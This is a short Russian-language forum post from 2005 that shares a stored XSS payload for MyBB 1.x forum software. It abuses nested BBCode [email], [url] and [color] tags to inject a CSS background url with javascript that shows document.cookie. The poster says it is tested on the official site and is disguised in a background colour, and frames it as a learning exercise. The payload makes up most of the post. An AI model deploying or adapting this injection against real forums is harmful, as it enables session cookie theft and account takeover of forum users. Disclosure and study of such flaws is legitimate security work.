10.03.2005, 23:03
|
|
Guest
Сообщений: n/a
Провел на форуме:
Репутация:
|
|
MyBB 1 (?) XSS
Нашел все теже вложеные теги в MyBB (За что Алголу БОООЛЬШОЙ респект - вложеные теги - его дело))
XSS скорее для развития и получения опыта а не для использования.
Код HTML:
[color=beige][email=aaaaa@bbb.ru[url=style=`background:url(javas cript:alert(document.cookie))`s="]d[/url]]a[/email][/color]
цвет beige был выбран для того чтобы использовать цвет фона для сообщения
Испытано на MyBB 1.xx, работает на оффсайте. |
|
|
|